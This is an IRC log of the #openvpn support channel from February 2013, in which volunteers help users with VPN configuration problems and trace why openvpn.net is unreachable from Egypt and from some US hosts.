15:40 < magic_1> Mon Feb 18 23:39:13 2013 MANAGEMENT: >STATE:1361223553,RECONNECTING,tls-error,
15:40 < magic_1> apologies for the long paste
15:56 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
15:57 < JackSparrow> hi again, the server gives the same IP to my two clients
15:57 < JackSparrow> server config: http://haipeng.xomg.net/server.conf
16:00 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
16:00 -!- Denial- is now known as Denial
16:07 -!- baobeiiii [~baobeiiii@180.155.14.35] has quit [Quit: Leaving]
16:12 -!- Kovica [~Kovica@77.38.49.83] has quit [Remote host closed the connection]
16:14 -!- torbjorn [~torbjorn@2001:840:4051::56] has joined #openvpn
16:22 < JackSparrow> is it possible to set the server to requier a certificate OR username/password ?
16:23 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
16:30 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 245 seconds]
16:43 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 264 seconds]
--- Log closed Mon Feb 18 16:43:51 2013
--- Log opened Mon Feb 18 16:43:59 2013
16:43 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
16:43 -!- Irssi: #openvpn: Total of 177 nicks [5 ops, 0 halfops, 1 voices, 171 normal]
16:43 -!- mode/#openvpn [+o ecrist] by ChanServ
16:44 < mikie_west> No. Internet?
16:44 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
16:44 -!- mode/#openvpn [+o vpnHelper] by ChanServ
16:44 -!- Irssi: Join to #openvpn was synced in 37 secs
16:56 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
16:58 -!- p3rror [~mezgani@2001:0:53aa:64c:14a1:6da7:d607:3134] has joined #openvpn
16:59 -!- axelm7 [~axelm7@186.135.15.41] has left #openvpn []
17:00 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 244 seconds]
17:00 -!- Denial- is now known as Denial
17:01 -!- mikey_w [~mike@c-71-63-115-202.hsd1.va.comcast.net] has joined #openvpn
17:02 -!- mikie_west [~androirc@c-71-63-115-202.hsd1.va.comcast.net] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
17:14 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
17:15 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
17:36 -!- p3rror [~mezgani@2001:0:53aa:64c:14a1:6da7:d607:3134] has quit [Ping timeout: 245 seconds]
17:56 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
17:59 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 252 seconds]
17:59 -!- Denial- is now known as Denial
18:20 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
18:21 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 255 seconds]
18:23 -!- p3rror [~mezgani@2001:0:53aa:64c:2084:503f:d607:3134] has joined #openvpn
18:30 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
18:54 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
19:03 -!- raidz is now known as raidz_away
19:03 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
19:03 < mnice> hello
19:04 < mnice> i'm unable to find any usable openvpn-as for SLES|suse .. http://openvpn.net/index.php/download/access-server-downloads.html
19:04 <@vpnHelper> Title: Access Server Downloads (at openvpn.net)
19:05 < mnice> can I get somewhere some generic installer ?
19:05 < rob0> !as
19:05 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
19:07 < mnice> fair
19:16 -!- LifeIsPain [~lip@unaffiliated/lifeispain] has quit [Ping timeout: 248 seconds]
19:26 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-safvatvxnhzshede] has joined #openvpn
19:45 -!- p3rror [~mezgani@2001:0:53aa:64c:2084:503f:d607:3134] has quit [Ping timeout: 245 seconds]
20:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:44 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Remote host closed the connection]
20:52 < mikey_w> Hello.  Help my tun device has zero received packets?
20:52 < mikey_w> I can connect to the server but can't see the internet?
20:53 < mikey_w> The server starts without any errors.
20:53 < pekster> What are you trying to do? The end goal?
20:53 < mikey_w> To use my home server as a vpn while at hotspots.
20:54 < mikey_w> Pptpd vpn works.
20:54 < mikey_w> But not all my devices support it.
20:55 < pekster> pptp is an awful protocol that is vastly insecure. It's been known weak for over a decade, and essentially cracked as of last year
20:56 < mikey_w> I know hence the openvpn attempt.
20:56 < pekster> So, you just want to connect into the VPN? It sounds like you're talking about traffic redirection, but that's not a requirement of a "VPN" per-se
20:56 < mikey_w> I am using the sample server conf file.
20:57 < mikey_w> How do I redirect it to the internet?
20:57 < pekster> !redirect
20:57 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:57 <@vpnHelper> http://ircpimps.org/redirect.png
20:58 < pekster> Before you deal with redirecting all traffic, you need a functional setup. You must be able to ping your endpoint or your VPN is fundamentally broken and needs to be fixed first
21:00 < mikey_w> I can ping and ssh my home sever and my client connect but no internet through it?
21:00 < mikey_w> connects
21:00 < pekster> The VPN peer, not the external IP
21:01 < mikey_w> Don't undersatnd "VPN peer"?
21:01 < pekster> Pinging the external IP of the server is just as worthless as pinging localhost when your ISP/DSL is disconnected and claiming your internet doesn't work
21:01 < pekster> The tunnel IP, not the external IP. The IP of the peer across the tunnel
21:03 < pekster> ie: the very first block on that flowchart
21:03 < pekster> You'll notice how it says if you can't complete that step you need to "fix your vpn"
21:03 < pekster> Can't route traffic over a link that doesn't work
21:04 < mikey_w> notice that what says that?
21:04 < pekster> The flowchart you were linked
21:05 < pekster> I suggest you read it, and the preceding information since it tells you, step by step, exactly how to do what you want
21:06 < mikey_w> ok, thanks
21:22 -!- MeanderingCode [~Meanderin@71-213-170-8.albq.qwest.net] has quit [Read error: Connection reset by peer]
21:22 -!- MeanderingCode [~Meanderin@71-213-170-8.albq.qwest.net] has joined #openvpn
21:31 -!- MeanderingCode_ [~Meanderin@71-213-170-8.albq.qwest.net] has joined #openvpn
21:35 -!- MeanderingCode [~Meanderin@71-213-170-8.albq.qwest.net] has quit [Ping timeout: 244 seconds]
22:00 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
22:00 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
22:05 -!- MariusIT2 [~userit@86.120.191.55] has quit [Read error: Connection reset by peer]
22:06 -!- MariusIT [~userit@86.120.191.55] has joined #openvpn
22:07 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 256 seconds]
22:07 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
22:07 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
22:07 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 256 seconds]
22:08 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
22:08 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
22:09 -!- brute11k [~brute11k@89.249.230.159] has quit [Read error: Connection reset by peer]
22:12 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
22:17 -!- brute11k [~brute11k@89.249.230.159] has joined #openvpn
22:22 -!- mikey_w [~mike@c-71-63-115-202.hsd1.va.comcast.net] has quit [Ping timeout: 256 seconds]
22:26 -!- mikey_w [~mike@c-71-63-115-202.hsd1.va.comcast.net] has joined #openvpn
23:07 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has quit [Read error: Operation timed out]
23:08 -!- MorgyN [~mig@island.morgyn.org] has quit [Read error: Operation timed out]
23:08 -!- mcp [~mcp@wolk-project.de] has quit [Read error: Operation timed out]
23:08 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jwtrifiamymywmib] has quit [Ping timeout: 245 seconds]
23:09 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-yssobzmevvtknuoq] has quit [Ping timeout: 245 seconds]
23:10 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 276 seconds]
23:10 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
23:10 -!- paccer [uid4847@gateway/web/irccloud.com/x-txhaywlkhsotevex] has quit [Ping timeout: 246 seconds]
23:10 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 276 seconds]
23:11 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
23:14 -!- mikey_w [~mike@c-71-63-115-202.hsd1.va.comcast.net] has quit [Ping timeout: 256 seconds]
23:14 -!- else- [~else@towely.iodev.org] has quit [Ping timeout: 276 seconds]
23:18 -!- mikey_w [~mike@71.63.115.202] has joined #openvpn
23:19 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
23:20 -!- else- [~else@towely.iodev.org] has joined #openvpn
23:23 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has joined #openvpn
23:23 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
23:28 -!- MorgyN [~mig@178.63.57.253] has joined #openvpn
23:32 -!- [fred] [fred@konfuzi.us] has joined #openvpn
23:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
23:38 -!- mode/#openvpn [+o krzee] by ChanServ
--- Day changed Tue Feb 19 2013
00:19 -!- magic_1 [~magic@unaffiliated/magic1/x-836121] has quit []
00:29 -!- jaws [~root@5.231.5.192] has joined #openvpn
00:37 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jfwecqjheggpxujq] has joined #openvpn
00:40 -!- MeanderingCode_ [~Meanderin@71-213-170-8.albq.qwest.net] has quit [Remote host closed the connection]
00:54 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
01:00 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 256 seconds]
01:06 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-fzgpavylrsfwposr] has joined #openvpn
01:08 <@krzee> im getting a weird issue in osx 10.8 where tunnelblick cannot start the vpn, the log says address already in use, but i killed the vpn process manually, and netstat -l|grep 1194 shows nothing
01:08 -!- b1rkh0ff [~b1rkh0ff@178.77.7.9] has quit [Ping timeout: 252 seconds]
01:09 < pekster> netstat -an is a better bet
01:10 <@krzee> hah its there
01:10 <@krzee> with no vpn process, what could it be?
01:10 < pekster> Add -p, if Darwin supports it
01:11 <@krzee> never seen 'Add', doesnt seem to be in osx
01:12 < pekster> No, add "-p" to nestat
01:12 <@krzee> oh meh
01:13 <@krzee> no -p and "process" only shows up in the man page under -a
01:13 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
01:14 < pekster> Apple, saving you from useful command switches since 1976
01:15 <@krzee> lsof -i -P doesnt show 1194 anywhere but netstat -an does haha
01:18 < jaws> ps -e | grep openvpn
01:19 < jaws> killall
01:20 <@krzee> no results (except grep_
01:20 -!- paccer [uid4847@gateway/web/irccloud.com/x-byyrqpqutjavdypw] has joined #openvpn
01:21 -!- b1rkh0ff [~b1rkh0ff@178.77.26.26] has joined #openvpn
01:23 -!- dekroning [~dekroning@86.86.174.139] has quit [Ping timeout: 255 seconds]
01:25 <@krzee> lsof doesnt show vpn (except 2 unrelated to openvpn) or 1194 but netstat -an does show 1194
01:28 < jaws> kill 1192 then
01:28 < jaws> i mean kill that process which is using that port
01:29 <@krzee> nothing is using that port
01:31 < jaws> post your lsof -i
01:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds]
01:37 < matsh> I'm getting this on a dd-wrt client:
01:37 < matsh> Mon Feb 18 21:21:13 2013 VERIFY ERROR: depth=1, error=self signed certificate in certificate chain:
01:37 < matsh> Mon Feb 18 21:21:13 2013 TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:lib(20):func(144):reason(134)
01:37 < matsh> Mon Feb 18 21:21:13 2013 TLS Error: TLS object -> incoming plaintext read error
01:38 < matsh> More or less the exact same config as used on a freebsd client.
01:44 < jaws> check your certificate
01:45 -!- discojoe [~wtf@193.28.228.85] has quit [Ping timeout: 256 seconds]
01:50 -!- discojoe [~wtf@193.28.228.85] has joined #openvpn
01:59  * jaws discos with discojoe
02:13 -!- rfxn [~teck7@bas1-montreal54-1167956220.dsl.bell.ca] has quit [Ping timeout: 248 seconds]
02:13 -!- rfxn [~teck7@69.157.152.252] has joined #openvpn
02:17 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 248 seconds]
02:19 -!- digilink [~digilink@70.90.228.197] has joined #openvpn
02:19 -!- digilink [~digilink@70.90.228.197] has quit [Changing host]
02:19 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
02:30 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
02:30 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
02:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
02:30 -!- mode/#openvpn [+o krzee] by ChanServ
02:32 -!- Voss [~Voss@unaffiliated/dionysus] has joined #openvpn
02:37 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
02:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
02:37 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Remote host closed the connection]
02:45 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 264 seconds]
02:46 -!- jaws [~root@5.231.5.192] has quit [Ping timeout: 245 seconds]
02:51 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 276 seconds]
02:57 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
03:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer]
03:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
03:02 -!- mode/#openvpn [+o vpnHelper] by ChanServ
03:27 -!- thumbs [1000@unaffiliated/thumbs] has quit [Read error: Operation timed out]
03:28 < mnice> hello
03:28 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
03:30 < mnice> i've created a standard vpn using `. ./vars; ./build-ca; build-key-server server; ./build-key clientxx; ..' are these defaults secure and optimalized ?
03:30 < mnice> vpn works like charm
03:39 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
03:48 -!- torbjorn [~torbjorn@2001:840:4051::56] has quit [Remote host closed the connection]
03:59 -!- dazo_afk is now known as dazo
04:13 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 260 seconds]
04:22 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
04:34 -!- fys [~fys@108-65-116-255.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 252 seconds]
04:54 -!- MariusIT [~userit@86.120.191.55] has quit [Quit: Nettalk6 - www.ntalk.de]
04:54 -!- MariusIT [~userit@86.120.191.55] has joined #openvpn
05:06 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
05:09 <@dazo> mnice: yeah, those defaults (given that you did as the manual says, edit ./vars) are usually quite good
05:12 <@dazo> mnice: you can however increase the key length ... to make it even stronger ... but defaults shouldn't be bad at all
05:27 < discojoe> can i have openvpn run on multiple ports? or do i have to create a new instance for each port?
05:36 < havoc> discojoe: need an instance per port
05:39 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
05:46 -!- discojoe [~wtf@193.28.228.85] has quit [Ping timeout: 245 seconds]
05:47 -!- discojoe [~wtf@193.28.228.85] has joined #openvpn
05:51 < discojoe> ah, thanks havoc
06:11 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
06:39 -!- mikkel [~mikkel@80.71.132.15] has joined #openvpn
06:44 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
06:47 < mnice> thx
06:47 < mnice> everything runs pretty fine
06:47 < havoc> np
06:48 < mnice> btw, does anybody have some useful set of scripts for generating config files for windows client (openvpn GUI) to help our stupid devels with installation ?
06:48 < mnice> **clients ?
06:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:03 -!- master_of_master [~master_of@p57B53193.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
07:05 -!- master_of_master [~master_of@p57B52866.dip.t-dialin.net] has joined #openvpn
07:16 -!- magic_1 [~magic@unaffiliated/magic1/x-836121] has joined #openvpn
07:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
07:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
07:18 -!- mode/#openvpn [+o vpnHelper] by ChanServ
07:19 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
07:19 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
07:19 -!- mode/#openvpn [+o vpnHelper] by ChanServ
07:21 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
07:21 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
07:21 -!- mode/#openvpn [+o vpnHelper] by ChanServ
07:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
07:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
07:23 -!- mode/#openvpn [+o vpnHelper] by ChanServ
07:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
07:24 -!- Irssi: #openvpn: Total of 174 nicks [5 ops, 0 halfops, 1 voices, 168 normal]
07:24 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
07:25 -!- daemoen [~daemoen@216.245.201.138] has quit [Ping timeout: 252 seconds]
07:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
07:25 -!- mode/#openvpn [+o vpnHelper] by ChanServ
07:26 -!- mnice [~jdoe@84.242.118.58] has joined #openvpn
07:26 -!- mnice is now known as Guest9566
07:31 -!- daemoen [~daemoen@216.245.201.138] has joined #openvpn
07:39 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has quit [Read error: Connection reset by peer]
07:57 -!- magic_1 [~magic@unaffiliated/magic1/x-836121] has quit []
08:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer]
08:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
08:05 -!- mode/#openvpn [+o vpnHelper] by ChanServ
08:16 -!- Guest9566 [~jdoe@84.242.118.58] has left #openvpn []
08:16 -!- mnice [~jdoe@84.242.118.58] has joined #openvpn
08:17 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
08:18 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
08:26 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 256 seconds]
08:39 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
08:42 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:44 -!- b1rkh0ff [~b1rkh0ff@178.77.26.26] has quit [Read error: Connection reset by peer]
08:45 -!- b1rkh0ff [~b1rkh0ff@178.77.26.26] has joined #openvpn
08:55 -!- scoates [~sean@iconoclast.caedmon.net] has joined #openvpn
09:10 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:30 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
09:32 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 244 seconds]
09:32 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
09:33 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
09:37 -!- alaa [~alaa@41.36.146.1] has joined #openvpn
09:37 < alaa> hi
09:37 < alaa> I can't access http://openvpn.net from Egypt
09:37 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net)
09:37 < alaa> tested multiple isps
09:37 < alaa> thought our government might be blocking it, but my ISP claims the block is from the openvpn.net webserver
09:38 < alaa> how do I reach the sysadmins to verify this?
09:38 < kantlivelong> alaa: are you looking for something in particular?
09:38 < kantlivelong> alaa: if they are blocking based on IP then you may not be able to
09:38 < pekster> alaa: You can traceroute to see if you get closer to the server; if you can't make it past your ISP or into US core routing, it's not a webserver problem
09:38 < alaa> kantlivelong: just want to make sure there is no illegal censorship going on in my country
09:39 < kantlivelong> alaa: ah.
09:39 <@ecrist> alaa: we're not blocking egypt
09:39 < kantlivelong> alaa: does it resolve to an IP?
09:39 < pekster> You'll also find people here happy to mirror installer files (I'm happy to help with installers and the GPG signatures on my personal domain if you'd like
09:39 < alaa> pekster: thx many work arounds but I'm more interested in fighting this
09:40 <@ecrist> alaa: we're not blocking egypt
09:40 < alaa> kantlivelong: yes 67.228.116.150
09:40 < kantlivelong> alaa: what does a traceroute provide?
09:40 < alaa> kantlivelong: do I paste here?
09:40 < alaa> kantlivelong: it stops at a local hop
09:40 < kantlivelong> alaa: pastebin.ca
09:40 < pekster> A pastebin please. dpaste.org or such
09:40 < rob0> use a pastebin, obviously
09:41 < rob0> If it stops at a local hop, there's your problem.
09:41 < alaa> rob0: sorry been sometime since I used irc
09:41 <@ecrist> if the traceroute stops locally, you've got something messed up
09:42 < alaa> http://dpaste.org/WiZSK/
09:42 < alaa> traceroute
09:42 < pekster> And it continues timing out after that? Some hosts don't respond to traceroute, so you might get a few "***" lines in a row before it picks up again
09:42 < alaa> could it be some automatically triggered anti DDOS measure?
09:43 < alaa> pekster: yeah it continues to timeout
09:43 < pekster> No, traceroute should work, and even if it doesn't, you should be able to hit the openvpn.net webserver without issue. Looks like an ISP-level block
09:43 < kantlivelong> alaa: is calling the ISP an option?
09:43 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
09:43 < alaa> kantlivelong: I did, they claimed blocking is from openvpn.net side
09:43 < pekster> If you'd like a mirror of some files to get a VPN client working so you can bypass the ISP issue, let me know what you need and I'll mirror files for you
09:43 <@ecrist> alaa: I have someone looking into it
09:44 < alaa> kantlivelong: asked on twitter and got confirmation that site inaccessible from all local isps
09:44 <@ecrist> sounds like you might be triggering a DDoS filter
09:44 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Remote host closed the connection]
09:44 < alaa> ecrist: ahah that fits with the ISPs claim
09:45 < kantlivelong> dos filter sounds logical
09:45 < alaa> sorry political situation here is vague and fear the state will start blocking illegally
09:45 < kantlivelong> alaa: im sure there are mirrors :) and Tor can always help
09:45 < kantlivelong> Tor/OpenVPN
09:45 < rob0> Sounds like the ISP is either clueless or lying.
09:46 < pekster> ^^ that
09:46 < alaa> kantlivelong: yeah I'm not worried about actual access as much as about the political fight for the right of it :-)
09:46 < kantlivelong> alaa: yeh.. stupid govts..
09:46 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
09:46 < rob0> OpenVPN.net has no desire to block Egypt, I am sure.
09:47 < pekster> Quite the reverse, no doubt
09:47 < alaa> ecrist: can u confirm somehow if dos filter? is there a log or something?
09:47 < alaa> rob0: of course
09:47 <@ecrist> alaa: I don't have access to those filtering boxes directly, but the guy who has access will look into it shortly
09:47 < rob0> alaa, the filter is probably being hit in your ISP.
09:48 <@ecrist> alaa: we'd still like to see a traceroute from you
09:48 < pekster> Not to say looking at the US-side isn't a good thing to rule it out, but why would that be an issue with a traceroute dropping beofre it hits core US routing?
09:48 < pekster> ecrist: Already have it: http://dpaste.org/WiZSK/
09:48 < rob0> anyway, my traceroute/tracepaths also time out after 14 hops.
09:49 < rob0> (8 of those hops are outside my ISP.)
09:49 < pekster> tedata.net is out of Giza, Egypt
09:49 < alaa> ecrist: actually scrap that tracerout I'm getting same result no matter what I'm testing, I'll ask a friend using different ISP to send his
09:49 < pekster> heh, they block all traceroute. Cute.
09:49 <@ecrist> or he's quitting it too early
09:49 < pekster> True
09:50 < rob0> usually 30 hops should be enough
09:50 < alaa> i'm using the default 30 hops
09:51 < pekster> Right, but sometimes you'll get 4-8 routers in a row that drop it (now if it runs until 30+ TTL without change, then that's not the issue)
09:52 < alaa> runs until 30
09:52 < alaa> same result pointing at google.com
09:52 <@ecrist> can you ping the ip?
09:52 < rob0> po2.fcr01.sr01.sea01.networklayer.com (67.228.118.138) is the last visible hop for me, tested from two sites with both traceroute & tracepath
09:53 < pekster> Yea, here's the trailing tracepath for me (the comcast.net stuff is my ISP's infra) http://dpaste.org/42OZJ/
09:53 <@ecrist> nm, I can't ping, either
09:53 < alaa> ecrist: nope
09:53 <@ecrist> rob0: I make it one hop further it seems, than you do, before my trace dies
09:53 < pekster> You could try a ping-based traceroute though (maybe it'll get further than the ISP, possibly.)
09:53 < rob0> 3 packets transmitted, 0 received, 100% packet loss, time 2000ms
09:53 < alaa> ecrist: I can ping it from an east coast US server
09:54 < rob0> My ping was from a colo site in Birmingham, Alabama
09:55 < rob0> Perhaps OpenVPN should consider allowing ping and traceroute, limited if desired.
09:55 < alaa> that's traceroute from friend who is on another isp http://pastebin.com/Aex0P83d
09:55 <@ecrist> rob0: it's bad practice imho, to limit such
09:56 <@ecrist> I'll talk to the guys and make sure we start allowing it
09:57 < rob0> heh. I can't reach http://openvpn.net/ either.
09:57 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net)
09:58 < rob0> but vpnHelper can!
09:58 <@ecrist> vpnHelper is on the same box I IRC from
09:58 <@ecrist> and that I VPN in/out of 
09:58 < rob0> hmmm. Maybe traceroute triggers the DoS filter?
09:58 < alaa> rob0: lol so at least it is not egypt specific
09:58 <@ecrist> could be
09:59  * ecrist poofs for a while
09:59 < rob0> that is a BAD idea, fwiw
09:59 < pekster> alaa: That friend is able to get further than you and appears to get all the way to the router before the web server
09:59 < alaa> pekster: yep
09:59 < pekster> Yea, clearly an issue with your ISP then
10:00 < pekster> It's *possible* it's some mistake/configuration issue with BGP or the like, but it could also be intentional. No real way to tell the difference
10:00 < alaa> pekster: for the traceroute yes, but my friend still can't access the website
10:01 < rob0> I can't either! From a USA ISP.
10:01 < pekster> Oh, interesting. Maybe it is intentional then and your ISPs have different ways of doing the block (or your friend isn't "supposed" to be able to trace out to US routers either)
10:01 < alaa> pekster: in fact no one in egypt seems to be able to, I got confirmation from over 30 tweeps spanning all the major ISPs
10:01 < pekster> rob0: You can't hit openvpn.net? Hmm, maybe an AS/BGP thing is up then
10:01 < rob0> pekster, times out, no response.
10:02 < pekster> rob0: Oh, nvm, can't be since you can hit 67.228.118.134 on a trace, right?
10:02 < rob0> I can trace to there, yes.
10:02 < pekster> Here's a ping-based trace for me: http://dpaste.org/oN7pu/
10:02 < pekster> Right. Next hop after that is openvpn.net's webserver I believe
10:03 < rob0> Also times out from my well-connected colo in Birmingham.
10:03 < rob0> so we are blocked, it seems
10:05 < pekster> Interesting, same behaviour on my end now. After 3 or 4 traces over may be 15 minutes. Seems a really low threshhold for a DOS filter :\
10:06 < pekster> Works fine from my SOCKS proxy out of an AWS cloud host
10:06 < pekster> :(
10:06 < pekster> Wonder how long I'm banned for :P
10:06 < rob0> mattock, ^^ why are we unable to reach http://openvpn.net/ ?
10:06 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net)
10:06 < rob0> mattock, this is ridiculous.
10:07 < pekster> traceroute/ping (I've pasted the reuslts from 2 of my 4 runs) aren't that unusual for network-types to be doing. The thredhshold appears far too low for sane usage, IMO.
10:07 -!- KaiForce [~chatzilla@adsl-70-228-64-42.dsl.akrnoh.ameritech.net] has joined #openvpn
10:08 < rob0> http://downforeveryoneorjustme.com/openvpn.net "It's just you." Just me and my colo and pekster and all of Egypt ...
10:08 <@vpnHelper> Title: Down For Everyone Or Just Me -> Check if your website is down or up? (at downforeveryoneorjustme.com)
10:09 < pekster> I suspect the Egypt case is different due to no traces from *.networklayer.com, but you & I shouldn't be having issues. FWIW I can still hit the routing infra upstream from openvpn.net
